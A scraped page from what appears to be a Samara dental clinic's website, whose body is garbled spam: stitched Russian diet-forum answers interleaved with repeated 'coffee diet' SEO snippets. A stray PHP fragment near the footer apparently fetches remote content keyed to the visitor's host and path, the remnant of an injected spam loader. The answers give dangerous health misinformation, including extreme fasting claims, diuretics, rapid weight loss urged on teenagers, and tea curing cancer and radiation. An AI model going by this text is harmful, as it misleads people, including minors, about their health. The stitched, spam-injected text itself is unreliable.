Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Помогите.

Сесть на диету

Главная Статьи Диета при сахарном диабете Десерты и напитки.При желании украсить кофе шоколадной стружкой или обезжиренными взбитыми сливками.

Пей уксус или керосин. А ещё лучше - сходи к психотерапевту...

Ты опоздала, жди теперь следующего "к лету" !

Мне кажется на диету нельзя, в таком возрасте рано. Попробуй специальные упражнения, пресс например качай. А лучше сходи в фитнес-центр, там помогут:)

Глупенькая, зачем тебе худеть? в 15 лет такой и должен быть вес, рост у тебя 157 все как по маслу, даже и не думай худеть!

Как говорила Фаина Раневская: "Жрать меньше надо. В войну толстых не было"

Калорийность эспрессо, американо, латте и других кофейных напитков.Уж очень неоднозначный это напиток кофе при диете!

Не надо худеть ты прекрасна

Как похудеть??? хочу срозить всех на повал, своей новой фигурой. а то после родов разнесло как слоника

Правильно питаться - исключить жирное, капченое, соленое, мучное, картофель, сладости. Не перекусывать в течении дня и особенно на ночь. Ужин сделать максимально легким - салатик например. Ну и желательно подключить спорт - любой какой по душе, хоть бег, хоть фитнесс.

Известна эффективность такой комбинации как диета с зеленым кофе и имбирем, пейте имбирный чай и добавляйте имбирь в пищу, чередуя имбирь и зеленый кофейный напиток.

А зачем кого-то сражать своей фигурой? Мужа уже сразила, а подружкам по фигу твоя фигура. Худей постепенно, чтобы потом обратно не поправиться, и делай это исключительно для своего здоровья.

Ходите на тренировки- 2-3 часа в неделю, можно даже питание не менять, похудеете гарантировано

Вот она - самая большая ошибка)) ) сразить всех наповал)) ) Многим вообще без разницы, стройная Вы или полная. Старайтесь для себя, для своего здоровья, тогда и результат будет.

Почитай про диету Дюкана! самая вкусная и сытная диета, а вес уходит очень хорошо!!

Сыроедение.
помогает

Диета на кофе базируется на способности напитка стимулировать обмен веществ и расщеплять жиры.В чем секрет кофейной диеты? Обильное поступление в организм кофеина оказывает...

Как похудеть на 10 кг

Исключила соль в рационе, сегодня 10-й день, стали меньше "хрустеть" ноги при хотьбе, как-то повлияла соль?

Да.
И, тем не менее, соль В НЕБОЛЬШИХ количествах в рационе нужна! ! Просто ешьте недосоленое

Разнообразные диеты на напитках Алкогольная диета, Винная диета, Диета на воде, Диета надиета Банановый коктейль Кофейная диета Лимонадная диета Молокочайная диета...

Соль задерживает воду в организме. когда диета, соль рекомендуют не употреблять вообще. видно вес приубавился за 10 дней

Да конечно, вы перестали есть соль и ее стало меньше в суставах))

Да конечно... но со всем без соли тяжелова-то питаться.. чтобы вы не ели.... поэтому я решила все не досаливать и стало все намного вкуснее..

Нет, это просто ухудшился слух.))))

Первый из них это тонизирующий, всем знакомый кофейный напиток. Состав кофе крайне полезен в тех случаях, если Вы не злоупотребляете им. Для любой диеты этот бодрящий...

Конечно, повлияла

Да точно!
соль не приносит пользы. от нее хрустят кости и вода задерживается в организме

Конечно повлияла: ) Соль содержится почти во всех продуктах животного происхождения в количестве, достаточном для организма, главное не вегетарианить на такой диете.

Да. Поваренная соль (хлорид натрия) полезна и необходима для организма человека. Она входит в состав крови, лимфы, межклеточного пространства и вообще всех клеток. При посредстве поваренной соли создается изотоническое состояние телесных жидкостей, которое делает жизнь клеток возможной. Ионы натрия и хлора принимают участие во всех наиболее важных жизненных процессах. В сутки необходимо потреблять 5-8г соли, количество, уравновешивающее потерю хлорида натрия, выделяемого с мочой и потом. К сожалению, люди употребляют гораздо больше соли, чем это необходимо, иногда даже до 30-40г в сутки. Это приводит к задержке в организме хлорида натрия и к появлению отёков или повышению артериального давления.
Бессолевая диета. Суть диеты
Бессолевая диета исключает добавление соли в пищу, соль поступает в организм только с продуктами - мясом, овощами, хлебом и др. Такой строгий режим питания рекомендуется при хронических, запущенных формах болезни. Более распространенной является малосолевая диета, которая допускает минимальное подсаливание пищи. Если вас мучают только отеки, то щадящая малосолевая диета вам подходит.
Можно обманывать свой организм, заменяя соль луком, чесноком, пряными травами. К примеру, очень пикантный вкус получается при добавлении к супам, салатам, мясным и рыбным блюдам соевого соуса (без соли) , мелко нарезанного лука, чеснока, нашинкованных душистых трав.
Поваренную соль стоит грамотно применять: мясной бульон нужно солить за 20 минут до окончания варки, в рыбный бульон добавляют соль сразу после снятия накипи. Овощи солят за 5-7 минут до готовности. Фасоль, горох плохо развариваются в соленой воде, поэтому их присаливают почти готовыми, за 5 минут до снятия с плиты. Жареный картофель солят в самом конце приготовления. В сырые мясные и рыбные фарши добавляют соль до готовки.
Бессолевая диета весьма эффективна при ожирении:
1) все блюда готовятся без соли. Слегка подсаливается только готовая пища;
2) прием пищи - не реже 4-5 раз в день, малыми порциями;
3) вставать из-за стола необходимо с чувством легкого голода.
Допустимые продукты: ржаной и пшеничный хлеб (не более 200 г в день) , супы на слабом рыбном или овощном отваре, мясо и рыба нежирных сортов, овощи: капуста, огурцы, кабачки, редис, фасоль, помидоры - без ограничения, картофель, морковь, свекла, фрукты, ягоды, молочнокислые продукты, обезжиренный творог, яйца, масло (не более 10 г в день) , чай и кофейный напиток.
Бессолевая диета рекомендует полностью исключить: крупы, макаронные изделия, сдоба, сахар, варенье, виноград, арбуз, бананы, пряности, копчености, соления, острые и кислые блюда.
Бессолевая диета - адресована людям с хронической формой заболеваний (сердечно-сосудистой системы и почек) :
1) все блюда готовятся и употребляются без соли;
2) прием пищи - не реже 5 раз в день, малыми порциями;
3) пища варится только на пару;
4) полностью исключается жареное;
5) масло добавляется в готовые блюда.
Рекомендуемые продукты: ржаной и пшеничный хлеб (вчерашний) , сухари, несдобное печенье, сухой бисквит, супы на овощном или фруктовом отваре, нежирные сорта говядины, птицы и рыбы, крупяные каши, блюда из сырых и вареных овощей, сладкие фрукты и ягоды, яйца (не более одного в день) , кисели, компоты, желе, молоко, творог, неострый сыр, чай с молоком. Особенно полезны продукты, богатые солями калия: изюм, курага, урюк, инжир, картофель, капустный сок.
Исключаются: жареные, жирные и острые блюда, копчености, соленья, маринады, рыбные и мясные бульоны, баранина, свинина, гусь, кондитерские изделия.
Следующий вариант меню бессолевой диеты рассчитан на 15 дней:
3 дня курица без кожи и жира (лучше грудку) - за сутки можно съесть 500 грамм
3 дня рыба (не жирных сортов) - около 500 грамм можно съесть за 1 день
3 дня любая каша на воде - можно добавить молоко. За 1 день 250 грамм каши в сухом виде.
3 дня овощи, кроме картофеля (1-2 кг за 1 день)
3 дня фрукты, кроме бананов (1-2 кг за 1 день)
Все продукты варить без соли!

Почему я выгляжу толстой?

Фото в студию

Кофе мокачино является особой разновидностью кофейного напитка, который представляет собой смесь кофе молока, эспрессо и горячего шоколада.

Не бери дурного в голову, и люди к тебе потянутся. Нравься себе и все норм будет!

Фото в студию

Может у вас застой жидкости в организме и отечность, проверьте гормоны и почки

Скорее всего из-за неправильно подобранного фасона одежды

Вероятнее всего просто не правильно подобрана одежда. От этого такой и вид. Можно еще попробовать поддерживать фигуру при помощи кокосового масла. С ним становишься стройнее и кроме того улучшает иммунитет.

На кофейной диете можно сбросить от 3 до 5 килограмм за месяц, если вы хотите добиться большего результата, то вам необходимо пить этот напиток несколько месяцев...

Кто-то тебе сказал что ты выглядишь толстой? Ну дерзай до 30, только потом не плачь.

Ешьте всё без соли и сахара, принимайте препараты мочегонные или травы. . Возможно, у вас нарушен водно-солевой обмен и вы отекаете. За две недели бессолевой диеты можно сбросить до 8-10 килограмм жира. Правила питания во время лечебной бессолевой диеты.
Нужно следовать основным принципам: вся пища употребляется и готовится полностью исключая соль; есть нужно дробно и маленькими порциями, 4-5 раз за день; исключена жареная пища, всё готовится только на пару; масло можно немножко добавить, но в уже приготовленное блюдо. Продукты, разрешённые во время лечебной бессолевой диеты: сухари и ржаной хлеб; супы на бульоне из овощей; птица, нежирная говядина, рыба; каши их различных круп; вареные или сырые овощи (фасоль, капуста, огурцы, картофель, кабачки, редис, помидоры) ; фрукты; ягоды; яйца (но не более одного за день) ; творог, неострый и нежирный сыр, молоко; курага, инжир, изюм. Разрешено выпивать до двух литров воды (лучше минеральной без газа) или зелёного чая. Допускается употребление компотов и киселей. Продукты, не разрешённые во время лечебной бессолевой диеты: всё жирное и жареное; всё копчёное и острое; все маринады и соленья; мясные и рыбные бульоны; баранина, дичь и свинина; все кондитерские изделия. Правила питания во время малосолевой диеты при ожирении: блюда готовятся без соли, а подсолить можно уже готовую пищу; питание должно быть небольшими порциями, раздроблено на 4-5 раз (не менее) ; вставать из-за стола нужно с ощущением небольшого голода. Во время малосолевой диеты разрешены: - пшеничный и ржаной хлеб (но не более 200 г в день) ; супы на слабом овощном или рыбном бульоне; рыба и мясо нежирных сортов; овощи (вареные или сырые) : капуста, редис, огурцы, кабачки, фасоль, помидоры - без ограничения, а картофель, морковь, брюква, свекла - один раз в день в малом количестве; фрукты и ягоды; молочнокислые продукты, обезжиренный творог; яйца; масло (но не более 10 г в день) ; кофейный напиток и чай. Во время малосолевой диеты запрещены: макаронные изделия, крупы и сдоба; варенье и сахар; арбузы, виноград и бананы; копчености, пряности, соления; кислые и острые блюда. Курс бессолевой диеты, рассчитанный на 15 дней:
С 1 по 3 день: нежирная курица без кожи (до 500 грамм в день) ;
С 3 по 6 день: нежирная рыба (также до 500 грамм в день) ;
С 7 по 9 день: любая каша на воде (лучше гречка, геркулес или перловка) , можно добавить нежирное молоко, мед (до 250 грамм в день) , лимонный сок;
С 10 по 12 день: любые овощи до 2 кг в день, кроме картофеля;
С 13 по 15 день: можно есть любые фрукты до 2 кг в день, кроме винограда и бананов. Показания для применения бессолевой диеты:
Всем, кто имеет хронические заболевания почек и сердечнососудистой системы, при ожирении и отёчностях.
http://www.dietky.ru/173-bessolevaya-dieta
http://www.dietplan.ru/diety/bessolevaya-dieta/

Возможно у вас тонкокостный тип телосложения, поэтому стандартный для обычных людей вес (при вашем росте) , для вас слишком большой.

Не смотр и на вес, ты можешь выглядеть стройнее и при 60 кг. Вё дело в объёме жировой массы - аидимо у тебя её больше, чем мышечной. Вывод - следи за объёмами, укрепляй мышцы и номально питайся.

Диета безнатриевая

Одна молекула соли удерживает 400 мол воды. Если сидеть на диете без соли хотя бы 1 день, то теряешь до 2 кг. Я варю целую курицу без соли и ем ее потихоньку целый день.
Воды пью сколько хочешь. Такой день 1 раз в неделю. Попробуйте.

Можно ли кофейный напиток во время диеты? Состав напитка ехинацея и екстракт кореня цикория белки -9-12г, углеводы 40-55г, жири 0г, калорийность 378ккал Радует,что нет жиров...

Как похудеть за месяц на 5-8 кг? срочно надо

Та же проблема срочно надо похудеть

Кофейная кантата. Красота и здоровье Диеты 59 статей .Мастерами приготовления кофейного напитка стали арабы, именно они раскрыли секрет приготовления кофе, которым...

Диета Дюкана

Ответят, со мной поделитесь. А по-поводу ног ( что качать) надо к инструктору в трен. зал. Они хорошо подсказывают, что в каком случае накачается или скачается.

14 дней голодания на воде подкисленной лимоном по всем правилам, а дальше выход овощным соком или отваром, и легкая диета . Чтобы закрепить результат . за 14 дней вырастает новая печень стоимостью 45 тыс . долларов на мировом рынке . Дышать. гулять, массаж, водные ванны

Ноги хорошо худеют от быстрой ходьбы. Проходи быстрым шагом по 10 км в день - похудеют. Только обувь должна быть удобной.
По питанию. Еду солить очень мало, убирай полностью сладкое, мучное и колбасу.
5 кг уйдут.

Для красивой фигуры лучше перейти на плавание. Вы перекачали ноги, бросайте это дело! Чтобы похудеть, попробуйте бессолевую диету.
Бессолевая диета весьма эффективна при ожирении:
1) все блюда готовятся без соли. Слегка подсаливается только готовая пища;
2) прием пищи - не реже 4-5 раз в день, малыми порциями;
3) вставать из-за стола необходимо с чувством легкого голода.
Допустимые продукты: ржаной и пшеничный хлеб (не более 200 г в день) , супы на слабом рыбном или овощном отваре, мясо и рыба нежирных сортов, овощи: капуста, огурцы, кабачки, редис, фасоль, помидоры - без ограничения, картофель, морковь, свекла, фрукты, ягоды, молочнокислые продукты, обезжиренный творог, яйца, масло (не более 10 г в день) , чай и кофейный напиток.
Бессолевая диета рекомендует полностью исключить: крупы, макаронные изделия, сдоба, сахар, варенье, виноград, арбуз, бананы, пряности, копчености, соления, острые и кислые блюда.
Бессолевая диета - адресована людям с хронической формой заболеваний (сердечно-сосудистой системы и почек) :
1) все блюда готовятся и употребляются без соли;
2) прием пищи - не реже 5 раз в день, малыми порциями;
3) пища варится только на пару;
4) полностью исключается жареное;
5) масло добавляется в готовые блюда.
Рекомендуемые продукты: ржаной и пшеничный хлеб (вчерашний) , сухари, несдобное печенье, сухой бисквит, супы на овощном или фруктовом отваре, нежирные сорта говядины, птицы и рыбы, крупяные каши, блюда из сырых и вареных овощей, сладкие фрукты и ягоды, яйца (не более одного в день) , кисели, компоты, желе, молоко, творог, неострый сыр, чай с молоком. Особенно полезны продукты, богатые солями калия: изюм, курага, урюк, инжир, картофель, капустный сок.
Исключаются: жареные, жирные и острые блюда, копчености, соленья, маринады, рыбные и мясные бульоны, баранина, свинина, гусь, кондитерские изделия.
Следующий вариант меню бессолевой диеты рассчитан на 15 дней:
3 дня курица без кожи и жира (лучше грудку) - за сутки можно съесть 500 грамм
3 дня рыба (не жирных сортов) - около 500 грамм можно съесть за 1 день
3 дня любая каша на воде - можно добавить молоко. За 1 день 250 грамм каши в сухом виде.
3 дня овощи, кроме картофеля (1-2 кг за 1 день)
3 дня фрукты, кроме бананов (1-2 кг за 1 день)
Все продукты варить без соли! Удачи!))

Роднит все напитки одно никакие из них не способны сжигать жир просто так, без диеты, и никакие из них неРецепты кофейных напитков для похудения. Мятный ледяной кофе.

Это очень много, если у вас лишний вес не очень большой. Если вы весите больше 100, то это реально. Но если превышение веса небольшое, столько сбрасывать крайне вредно для здоровья. Занимайтесь общей физкультурой для начала. Зарядка до 40 минут, на все группы мышц, начиная с разминки шеи и заканчивая ногами. Потом пресс, скакалка, контрастный душ (для кожи и сосудов) . Скакалку можно в течении дня еще делать. Начните со 100 и через неделю увеличивайте постепенно. Введите дважды в неделю разгрузку - только 1литр нежирного кефира и 1,5 литра минералки или простой воды. Ограничьте соль, не ешьте вечером. Через полтора месяца вы себя не узнаете. И потом внимательно посмотрите, что именно вас не устраивает, тогда уже вводите специальные упражнения, на какой-либо проблемный участок.

Не ешь вот и похудеешь

Подскажите салатик для похудения:3

Из овощей и с оливковым маслом

Кофейная диета отлично подойдет любителям кофе, которые не представляют свой день без чашечки этого восхитительного бодрящего напитка.

Морковь капуста свекла и сельдерей, без соли и масла, скинещ сразу 5 кг

Ингредиенты для рецепта Овощной салат для похудения
капуста - 300 грамм
огурцы - одна штука
сельдерей - 2 стебля
репчатый лук - одна штука
оливковое масло - три столовых ложки
лимон - 1/2 шт
соль - по вкусу
Способ приготовления рецепта Овощной салат для похудения
Лук почистите и нарежьте мелкими кубиками. Огурцы помойте, обсушите при помощи бумажного полотенца и нарежьте полукружьями. Стебли и зелень сельдерея помойте и так же обсушите при помощи бумажного полотенца. После этого стебли сельдерея нарежьте тонкими кружками, а зелень измельчите.
Соедините в миске капусту, огурцы, зелень и стебли сельдерея.
Оливковое масло смешайте с соком половины лимона и солью до однородности и полейте приготоленной заправкой салат. Все перемешайте и выложите готовый салат на блюдо.
Вкусный овощной салат для похудения готов!

Салат "Витаминный"- очень вкусный и полезный салат, в состав входят помидоры, огурцы и яблоки заправляются оливковым или растительным маслом.

Ниже приведены несколько рецептов диетических салатов для похудения.
«Экзотика»
Для этого салата нам понадобится один пучок салата, один пучок редиски, один свежий огурец, два помидора, один авокадо, зелень, специи и оливковое масло. Все овощи тщательно помыв, нарезаем кубиками, добавляем по вкусу специи и зелень и заправляем маслом.
«Весна»
Для этого салата необходимо взять два помидора, один огурец, несколько больших, сладких болгарских перцев, зелень, специи и оливковое масло. Все овощи нарезаем кубиками, добавляем зелень и специи и заправляем маслом.
«Пикантный»
Для этого салата понадобятся две-три свеклы, грецкие орехи, чернослив и сметана. Отваренная свекла, натертая на крупную терку, смешивается с порезанным черносливом и измельченными грецкими орехами, соль добавляется по вкусу. Для того чтобы придать пикантности в салат можно добавить один зубчик чеснока.
«Греческий»
Для этого салата Вам потребуются свежие помидоры, сладкий болгарский перец, свежие огурцы, репчатый лук, брынза, специи, соль, растительное масло. Все овощи и брынза нарезаются кубиками, к ним добавляется репчатый лук, который нарезан полукольцами, соль и специи и все это заправляется растительным маслом.
«Грацио»
Необходимо два корня сельдерея и два сладких зеленых перца, которые нарезаются соломкой, затем два красных сладких перца, нарезанных полукольцами и два-три кисло-сладких яблока, порезанных кубиками. Все ингредиенты смешиваются и заправляются сметаной, в конце добавляется соль и черный перец по вкусу.
«Морковочка»
На 6 порций: отварная телятина – 400 г, морковь – 400г, большая луковица или 2 средних, уксус - 2 десертные ложки, сметана или йогурт, соль. Маринуем в уксусе с водой 1:3 лук. Отварную телятину разбираем на волокна и смешиваем с натёртой варёной или сырой морковью, добавляем лук и заправляем заправкой. В каждой порции – 150кКал.
«Овощной»
2 помидора, 2 огурца, зелёный лук, 2 сладких перца, 200г редиса, листья салата, зелень, оливковое или подсолнечное масло – 3 ст. ложки. Ингредиенты нарезаем, смешиваем, добавляем масло. В каждой порции – 125кКал.
Овощное рагу с грибами
2 средних кабачка, 200г грибов, 0,5 сельдерея, 350-400г савойской капусты, 1 средняя луковица, пара зубков чеснока, 100г пармезана, 4 больших помидора, 3ст. ложки масла, 100мл воды, пучок зелени, соль, перец. Немного прожарить на масле лук с чесноком, влить воды, добавить изрезанную капусту с грибами, притушить 5 минут, добавить соль и остальные овощи. Через 4 минуты добавить зелень и натёртый сыр. В каждой порции 170кКал.

1) из морской капусты\морских водорослей
2) из квашеной капусты
3) из свежих овощей
4) рыбный (рыба речная, нежирная # минтай, щука, тунец)
5) из морепродуктов

Кофейный напиток, изготовленный по правилам диеты Дюкана, можно употреблять каждому, кто решил распрощаться с лишними сантиметрами на талии.

Оливковое, подсолнечное и соевое - самые дерьмовые масла из всех.. .
усваиваются на 5% остальное выбрасывается нахрен.
оливковое в старину использовали как лампадное т. е. в качестве горючки, больше оно ни на что не годится.. .
растолстеешь от него быстрее чем от сала)))

Салат "Щетка": 0,5 кг капусты, 0,5 кг сырой моркови и 0,5 кг сырой свеклы и ни капельки соли. Все мелко нашинковать, добавить в салат сок лимона и отжать.

Яблоки +морковь, натереть на тёрке и добавить почуть мёда и сок лимона

Врач-диетолог Римма Мойсенко. Ее разгрузочная диета на 10 дней обещает минус 5 кг. САЛАТ "ЩЁТКА" ОЧЕНЬ ПОМОЖЕТ ПОХУДЕТЬ!)) )
В течение 10 дней нужно чередовать 1 через 1 белковые и углеводные дни
Белковый день
Утром
стакан воды натощак
1 вареное яйцо + зеленый салат (листья салата и зелень)
Дальше, в течение дня равномерно распределить на несколько приемов пищи вареную курицу
Поместить курицу с кожей в кастрюлю, после кипения слить первую воду, промыть курицу, залить чистой водой и варить до готовности. Без соли.
В течение дня выпить не менее 2 литров воды
Углеводный день
На весь день 1,5 килограмма овощей, из которых готовятся салаты.
Например, САЛАТ «ЩЁТКА» : сырая капуста + сырая свекла + сырая морковь, натереть, перемешать отжать руками до образования сока, добавить чайную ложку лимонного сока. Без соли.
Есть этот салат в течение дня за 7-8 приемов пищи, можно каждый час.
В течение дня выпить не менее 2 литров воды.
Бессолевая диета.
Бессолевая диета весьма эффективна при ожирении:
1) все блюда готовятся без соли. Слегка подсаливается только готовая пища;
2) прием пищи - не реже 4-5 раз в день, малыми порциями;
3) вставать из-за стола необходимо с чувством легкого голода.
Допустимые продукты: ржаной и пшеничный хлеб (не более 200 г в день) , супы на слабом рыбном или овощном отваре, мясо и рыба нежирных сортов, овощи: капуста, огурцы, кабачки, редис, фасоль, помидоры - без ограничения, картофель, морковь, свекла, фрукты, ягоды, молочнокислые продукты, обезжиренный творог, яйца, масло (не более 10 г в день) , чай и кофейный напиток.
Бессолевая диета рекомендует полностью исключить: крупы, макаронные изделия, сдоба, сахар, варенье, виноград, арбуз, бананы, пряности, копчености, соления, острые и кислые блюда.
Бессолевая диета - адресована людям с хронической формой заболеваний (сердечно-сосудистой системы и почек) :
1) все блюда готовятся и употребляются без соли;
2) прием пищи - не реже 5 раз в день, малыми порциями;
3) пища варится только на пару;
4) полностью исключается жареное;
5) масло добавляется в готовые блюда.
Рекомендуемые продукты: ржаной и пшеничный хлеб (вчерашний) , сухари, несдобное печенье, сухой бисквит, супы на овощном или фруктовом отваре, нежирные сорта говядины, птицы и рыбы, крупяные каши, блюда из сырых и вареных овощей, сладкие фрукты и ягоды, яйца (не более одного в день) , кисели, компоты, желе, молоко, творог, неострый сыр, чай с молоком. Особенно полезны продукты, богатые солями калия: изюм, курага, урюк, инжир, картофель, капустный сок.
Исключаются: жареные, жирные и острые блюда, копчености, соленья, маринады, рыбные и мясные бульоны, баранина, свинина, гусь, кондитерские изделия.
Следующий вариант меню бессолевой диеты рассчитан на 15 дней:
3 дня курица без кожи и жира (лучше грудку) - за сутки можно съесть 500 грамм
3 дня рыба (не жирных сортов) - около 500 грамм можно съесть за 1 день
3 дня любая каша на воде - можно добавить молоко. За 1 день 250 грамм каши в сухом виде.
3 дня овощи, кроме картофеля (1-2 кг за 1 день)
3 дня фрукты, кроме бананов (1-2 кг за 1 день)
Все продукты варить без соли!

Как и на сколько похудеть?

Без фотки не посоветую.

Кофейный напиток манит своим ароматом и побуждает сидящего на диете к действию, помогает повысить его работоспособность.

Отреж руку...

Не надо вам худеть ваш вес-норма не надо издеваться над организмом

Ага, и будешь костями греметь на Новый год.

Действительно фотка нужна.
У меня рост 168 вес 60 кг например, тоже бы хотела 55 весить ((

За недельку можно и 5 желанных скинуть и в 16 лет это не приведет к предсмертной стадии гастрита и отвисанию кожи на метр, как многие считают. Со здоровым обменом веществ вполне реально) вкратце - максимум воды, углеводы только на завтрак, обед и ужин максимально дробно (например, обед разделить на три маленькие порции) и желательно только белок, это любительская сушка)

Поэтому, напиток способствует выведению из организма излишней жидкости и ускоряет похудение. Существует два варианта кофейной диеты на 3 и 7 дней и оба достаточно...

За две недели бессолевой диеты можно сбросить до 8-10 килограмм жира. Правила питания во время лечебной бессолевой диеты.
Нужно следовать основным принципам: вся пища употребляется и готовится полностью исключая соль; есть нужно дробно и маленькими порциями, 4-5 раз за день; исключена жареная пища, всё готовится только на пару; масло можно немножко добавить, но в уже приготовленное блюдо. Продукты, разрешённые во время лечебной бессолевой диеты: сухари и ржаной хлеб; супы на бульоне из овощей; птица, нежирная говядина, рыба; каши их различных круп; вареные или сырые овощи (фасоль, капуста, огурцы, картофель, кабачки, редис, помидоры) ; фрукты; ягоды; яйца (но не более одного за день) ; творог, неострый и нежирный сыр, молоко; курага, инжир, изюм. Разрешено выпивать до двух литров воды (лучше минеральной без газа) или зелёного чая. Допускается употребление компотов и киселей. Продукты, не разрешённые во время лечебной бессолевой диеты: всё жирное и жареное; всё копчёное и острое; все маринады и соленья; мясные и рыбные бульоны; баранина, дичь и свинина; все кондитерские изделия. Правила питания во время малосолевой диеты при ожирении: блюда готовятся без соли, а подсолить можно уже готовую пищу; питание должно быть небольшими порциями, раздроблено на 4-5 раз (не менее) ; вставать из-за стола нужно с ощущением небольшого голода. Во время малосолевой диеты разрешены: - пшеничный и ржаной хлеб (но не более 200 г в день) ; супы на слабом овощном или рыбном бульоне; рыба и мясо нежирных сортов; овощи (вареные или сырые) : капуста, редис, огурцы, кабачки, фасоль, помидоры - без ограничения, а картофель, морковь, брюква, свекла - один раз в день в малом количестве; фрукты и ягоды; молочнокислые продукты, обезжиренный творог; яйца; масло (но не более 10 г в день) ; кофейный напиток и чай. Во время малосолевой диеты запрещены: макаронные изделия, крупы и сдоба; варенье и сахар; арбузы, виноград и бананы; копчености, пряности, соления; кислые и острые блюда. Курс бессолевой диеты, рассчитанный на 15 дней:
С 1 по 3 день: нежирная курица без кожи (до 500 грамм в день) ;
С 3 по 6 день: нежирная рыба (также до 500 грамм в день) ;
С 7 по 9 день: любая каша на воде (лучше гречка, геркулес или перловка) , можно добавить нежирное молоко, мед (до 250 грамм в день) , лимонный сок;
С 10 по 12 день: любые овощи до 2 кг в день, кроме картофеля;
С 13 по 15 день: можно есть любые фрукты до 2 кг в день, кроме винограда и бананов. Показания для применения бессолевой диеты:
Всем, кто имеет хронические заболевания почек и сердечнососудистой системы, при ожирении и отёчностях. http://www.dietky.ru/173-bessolevaya-dieta

Попробуйте раздельное питание и занятся каким-нибудь видом спорта. Или можете танцами занятся как я http://liveinternet.ru/go?http://latino.su/dance - эффект тоже за месяц появится.

Подскажите название и последовательность безсолевой диеты.см.вн

От чего крепкий чай - самое лучшее лекарство?

От молчания

Кофейная диета простой, но не такой уж и безопасный способ быстро похудеть.А эта система питания наоборот предполагает, что вы будете употреблять крепкий напиток каждый...

От диареи

От пониженного давления

От алкоголизма, если вместо бухла.

От усталости

Внутрь - от сна. Наружно - от коньюктивита.

Кофейная диета, включающая в меню более 3-х чашек ароматного напитка, может привести кОтзывы. Диета на основе кофе нравится тем, кто искренне любит ароматный напиток.

Правильно заваренный хороший листовой чай, не вреден, а даже наоброт вкусен и полезен. Чем крепче чай, тем выше в нём концентрация эфирных масел, которые придают чаю вкус и аромат, а также витаминов и антиоксидантов. Однако, крепкий чай может вызвать учащение сердцебиения и повышение кровяного давления, что может быть не очень хорошо для тех же гипертоников. В общем, чаем можно и нужно наслаждаться, а крепость - дело индивидуальных предпочтений.
чай делает сердце более выносливым, защищая его от инфарктов и проч. гадости; чай укрепляет стенки сосудов и капилляров, делая их более упругими и эластичными; зеленые чаи и улуны не только препятствуют отложению жиров и жироподобных веществ (липидов) на стенках сосудов, но и разрушают уже имеющиеся жировые отложения; чай несколько ускоряет кровообращение, расширяя сосуды мозга и сердца; чай нормализует артериальное давление; чай содержит уникальное сочетание большого количества белков, витаминов и микроэлементов; чай – замечательное потогонное средство, а потеть, как известно, очень полезно (во-первых, для лучшей терморегуляции; во-вторых, для вывода из организма всяких шлаков) ; зеленый чай лучше любых других напитков утоляет жажду и защищает от сильной жары; чай имеет выраженное дубильное, антисептическое и антибактерицидное действие; чай подавляет гнилостные процессы в кишечнике, уничтожает болезнетворные бактерии, нейтрализует токсины; в чае сконцентрирована куча микроэлементов, особенно таких, которые участвуют в формировании костей и зубов — фтор, кальций, фосфор и др. ; чай помогает от зубной боли и устраняет дурной запах из рта; чай вызывает мочеотделение легко и ненавязчиво, не перегружая при этом нервную систему и почки; чай обладает противовоспалительным, кровоостанавливающим, антибактериальным действием; очень крепким чаем можно промывать свежие раны; свежезаваренным настоем можно очищать и дезинфицировать застарелые раны и язвы, ускорять их заживление; чай обладает противоожоговым действием, при этом чай помогает как при слабых ожогах, так и при довольно тяжелых; чай имеет противораковое действие, это действие в большей степени — профилактическое, и в меньшей степени — лечебное (но тоже есть! ) ; чай способен выводить из организма радиоактивные вещества, особенно если его пить с плодами черноплодной рябины, шиповника и с медом (Медики рекомендуют пить чай даже после (во время) долгого сидения под телевизором или монитором, т. к. это тоже излучение! А после применения лучевой терапии к раковым больным, зеленый чай в обязательном порядке включается в их рацион) ; чай выводит из организма токсины, химические вещества и препараты, наркотики, в том числе никотин и алкоголь; чай усиливает легочную вентиляцию (дышать легче) , расширяя дыхательные пути и увеличивая глубину вдоха, что особо хорошо при бронхитах, трахеитах, воспалении легких и проч. ; чай согревает и дезинфицирует носоглотку; чай лечит-заживляет воспаленное горло (...и носоглотку опять же) , что особенно хорошо при ангинах, тонзиллитах и проч. ; чай благотворно действует на гладкую мускулатуру, поэтому полезен для мужской потенции (особенно если чай сочетать с орешками) ; чай полезен беременным женщинам; чай гармонизирует нервную систему в целом, нормализует ее деятельность, делает ее более выносливой к экстремальным и неожиданным раздражителям; чай обостряет работу анализаторов (особенно зрения) и в целом повышает чувствительность и восприимчивость нервной системы; чай увеличивает быстроту реакции; чай способствует усвоению и запоминанию новой информации; чай облегчает концентрацию внимания, повышая его устойчивость, распределение и переключаемость; чай ускоряет процесс мышления и особенно связан с творческим мышлением и генерацией новых идей.

От утомлённых кофеем

От голода, особенно если ты на диете.... "Хочешь жрать - попей водички"

От ничего.
Обычное мутноватое пойло.
Но это хороший повод отвлечься, переключиться, перевести дыхание..

Правда что худеют от зеленого кофе?

Ерунда . От чая это да .

Кофейная диета. Услышав от подруги о кофейной диете, я безумно обрадовалась, потомуНу, одна значит, одна, решила я, вспомнив, что этот крепкий напиток не очень-то полезен для...

Ошибочка.
худеют от зеленого мяса.
(если не помрут)

Зеленый кофе - это галимый горох. ешьте горох и худейте со звуком ))

Если больше ничего и не пить.

Все напитки, о которых говорят, что от них худеют, направленны на слабительное действие.... Нет такого продукта, от ккоторого именно худеют)))) если хотите похудеть то надо стабилизовать свой обмен веществ+спорт.... лучшая система для этого "минус 60"... она так и называется и про нее можно узнать в инете... Эта не диета, эт сстема питания, которая улучшает обмен веществ....

Не правда.

Диета в основе рациона, которой, главенствующее место занимает кофейный напиток появилась во Франции, и имеет вполне определенные результаты.

Кофейный напиток диета
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта